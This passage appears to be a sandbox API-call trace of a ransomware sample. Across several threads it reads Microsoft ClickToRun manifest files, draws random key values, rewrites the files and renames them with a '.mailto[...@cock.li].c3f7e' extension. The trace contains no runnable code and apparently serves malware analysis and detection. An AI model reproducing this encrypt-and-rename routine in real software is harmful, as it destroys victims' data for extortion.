	[0089.198] ReadFile (in: hFile=0x1c2c, lpBuffer=0x4851030, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2cbbfa34, lpOverlapped=0x0 | out: lpBuffer=0x4851030*, lpNumberOfBytesRead=0x2cbbfa34*=0xc800, lpOverlapped=0x0) returned 1
	[0089.199] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0089.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0089.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0089.199] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0089.200] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x485d838
	[0089.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0089.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.201] WriteFile (in: hFile=0x1c2c, lpBuffer=0x485d838*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2cbbfa34, lpOverlapped=0x0 | out: lpBuffer=0x485d838*, lpNumberOfBytesWritten=0x2cbbfa34*=0xc800, lpOverlapped=0x0) returned 1
	[0093.209] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x485d838) returned 1
	[0093.209] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851030) returned 1
	[0093.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x81) returned 0x476f2c8
	[0093.216] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.216] WriteFile (hFile=0x1c2c, lpBuffer=0x2e03a98, nNumberOfBytesToWrite=0x165, lpNumberOfBytesWritten=0x2cbbfab4, lpOverlapped=0x0) 

Thread:
	id = 1295
	os_tid = 0x2078

	[0089.198] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml")) returned 0x20
	[0089.203] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.203] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c30
	[0089.203] GetFileSizeEx (in: hFile=0x1c30, lpFileSize=0x2cc3fc8c | out: lpFileSize=0x2cc3fc8c*=26782) returned 1
	[0089.203] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0x689a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.203] ReadFile (in: hFile=0x1c30, lpBuffer=0x2cc3fc10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cc3fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2cc3fc10*, lpNumberOfBytesRead=0x2cc3fc0c*=0x4, lpOverlapped=0x0) returned 1
	[0089.204] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0089.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0089.204] NtQuerySystemTime (in: CurrentTime=0x2cc3fbec | out: CurrentTime=0x2cc3fbec*=132251868159444235) returned 0x0
	[0089.204] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x68b1bc9
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x2c32f42f
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x4e476aeb
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xbfc25e41
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x5b8fa870
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xb5ca9fd5
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xa7055257
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x89a6432a
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xe869a17d
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xba95b4e2
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x785cad32
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x48999381
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xa44108c
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xbe3b1eb0
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xec379a43
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xceb26f56
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xa134a016
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x5a68f3b3
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xbc563657
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x4376ef0d
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x80993e5f
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x21443123
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xdabe61a3
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x6cb1c6f9
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x29f5cf3e
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x6c17a3db
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x5f987856
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x3f736ce6
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xdb014428
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0x3b84534b
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xe3306561
	[0089.205] RtlRandom (in: Seed=0x2cc3fbf8 | out: Seed=0x2cc3fbf8) returned 0xf6cf82eb
	[0089.214] ReadFile (in: hFile=0x1c30, lpBuffer=0x486a040, nNumberOfBytesToRead=0x689e, lpNumberOfBytesRead=0x2cc3fbe8, lpOverlapped=0x0 | out: lpBuffer=0x486a040*, lpNumberOfBytesRead=0x2cc3fbe8*=0x689e, lpOverlapped=0x0) returned 1
	[0089.216] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.216] WriteFile (in: hFile=0x1c30, lpBuffer=0x492d008*, nNumberOfBytesToWrite=0x689e, lpNumberOfBytesWritten=0x2cc3fbe4, lpOverlapped=0x0 | out: lpBuffer=0x492d008*, lpNumberOfBytesWritten=0x2cc3fbe4*=0x689e, lpOverlapped=0x0) returned 1
	[0089.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0089.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d008) returned 1
	[0089.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x486a040) returned 1
	[0089.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.218] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ecea0
	[0089.218] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.218] WriteFile (in: hFile=0x1c30, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x2cc3fc4c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2cc3fc4c*=0x145, lpOverlapped=0x0) returned 1
	[0089.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec8f0) returned 1
	[0089.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecea0) returned 1
	[0089.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0089.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0089.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0089.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0089.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x132) returned 0x481e928
	[0089.221] wcscpy (in: _Dest=0x481e928, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml"
	[0089.221] wcscat (in: _Dest=0x481e928, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.221] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2cc3fc04, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x148) returned 0x498ed90
	[0089.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.222] NtQueryInformationFile (in: FileHandle=0x1c30, IoStatusBlock=0x2cc3fc10, FileInformation=0x2cc3fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cc3fc10, FileInformation=0x2cc3fbe8) returned 0x0
	[0089.222] NtSetInformationFile (FileHandle=0x1c30, IoStatusBlock=0x2cc3fc10, FileInformation=0x2cc3fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0089.222] FlushFileBuffers (hFile=0x1c30) returned 1
	[0093.269] CloseHandle (hObject=0x1c30) 

Thread:
	id = 1296
	os_tid = 0x207c

	[0089.214] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml")) returned 0x20
	[0089.219] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0089.219] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c34
	[0089.219] GetFileSizeEx (in: hFile=0x1c34, lpFileSize=0x2ccbfd70 | out: lpFileSize=0x2ccbfd70*=29766) returned 1
	[0089.219] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x7442, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.219] ReadFile (in: hFile=0x1c34, lpBuffer=0x2ccbfcf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ccbfcf0, lpOverlapped=0x0 | out: lpBuffer=0x2ccbfcf4*, lpNumberOfBytesRead=0x2ccbfcf0*=0x4, lpOverlapped=0x0) returned 1
	[0089.223] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0089.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0089.223] NtQuerySystemTime (in: CurrentTime=0x2ccbfcd0 | out: CurrentTime=0x2ccbfcd0*=132251868159600489) returned 0x0
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x62b2e17d
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x8ec43afc
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x5cb53f57
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0xa4628a40
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0xac8c183b
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0xa432794b
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x9f537977
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0xab445db2
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0xb59d586e
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0xe46f712e
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0xa4d77036
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0xadc9ad8b
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x23a1bc1f
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0xe117333e
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x1e735
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x694c454
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x61edf89b
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x6bc9edaa
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x989e1de9
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0xbe2f2dc8
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x7677b36a
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x7a016242
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x365ef759
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x9ef4b9a
	[0089.223] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x1911053a
	[0089.224] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x4598b418
	[0089.224] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x8eeaf8b9
	[0089.224] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x61aeda8f
	[0089.224] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x60fef674
	[0089.224] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x2140ec87
	[0089.224] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x74763ce8
	[0089.224] RtlRandom (in: Seed=0x2ccbfcdc | out: Seed=0x2ccbfcdc) returned 0x1c770c9c
	[0089.232] ReadFile (in: hFile=0x1c34, lpBuffer=0x486a040, nNumberOfBytesToRead=0x7446, lpNumberOfBytesRead=0x2ccbfccc, lpOverlapped=0x0 | out: lpBuffer=0x486a040*, lpNumberOfBytesRead=0x2ccbfccc*=0x7446, lpOverlapped=0x0) returned 1
	[0089.234] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.234] WriteFile (in: hFile=0x1c34, lpBuffer=0x492d008*, nNumberOfBytesToWrite=0x7446, lpNumberOfBytesWritten=0x2ccbfcc8, lpOverlapped=0x0 | out: lpBuffer=0x492d008*, lpNumberOfBytesWritten=0x2ccbfcc8*=0x7446, lpOverlapped=0x0) returned 1
	[0089.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0089.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d008) returned 1
	[0089.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x486a040) returned 1
	[0089.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.236] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0089.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x75) returned 0x47bc790
	[0089.236] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.236] WriteFile (in: hFile=0x1c34, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x159, lpNumberOfBytesWritten=0x2ccbfd30, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2ccbfd30*=0x159, lpOverlapped=0x0) returned 1
	[0089.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc090) returned 1
	[0089.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc790) returned 1
	[0089.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0089.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0089.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0089.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0089.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x146) returned 0x2e02570
	[0089.238] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml"
	[0089.238] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.238] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2ccbfce8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15c) returned 0x4730008
	[0089.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0089.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.239] NtQueryInformationFile (in: FileHandle=0x1c34, IoStatusBlock=0x2ccbfcf4, FileInformation=0x2ccbfccc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ccbfcf4, FileInformation=0x2ccbfccc) returned 0x0
	[0089.239] NtSetInformationFile (FileHandle=0x1c34, IoStatusBlock=0x2ccbfcf4, FileInformation=0x2ccbfccc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.240] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.240] FlushFileBuffers (hFile=0x1c34) returned 1
	[0093.269] CloseHandle (hObject=0x1c34) 

Thread:
	id = 1297
	os_tid = 0x2080

	[0089.235] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml")) returned 0x20
	[0089.235] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.236] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c38
	[0089.236] GetFileSizeEx (in: hFile=0x1c38, lpFileSize=0x2cd3fba0 | out: lpFileSize=0x2cd3fba0*=32926) returned 1
	[0089.236] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0x809a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.237] ReadFile (in: hFile=0x1c38, lpBuffer=0x2cd3fb24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cd3fb20, lpOverlapped=0x0 | out: lpBuffer=0x2cd3fb24*, lpNumberOfBytesRead=0x2cd3fb20*=0x4, lpOverlapped=0x0) returned 1
	[0089.242] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.242] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
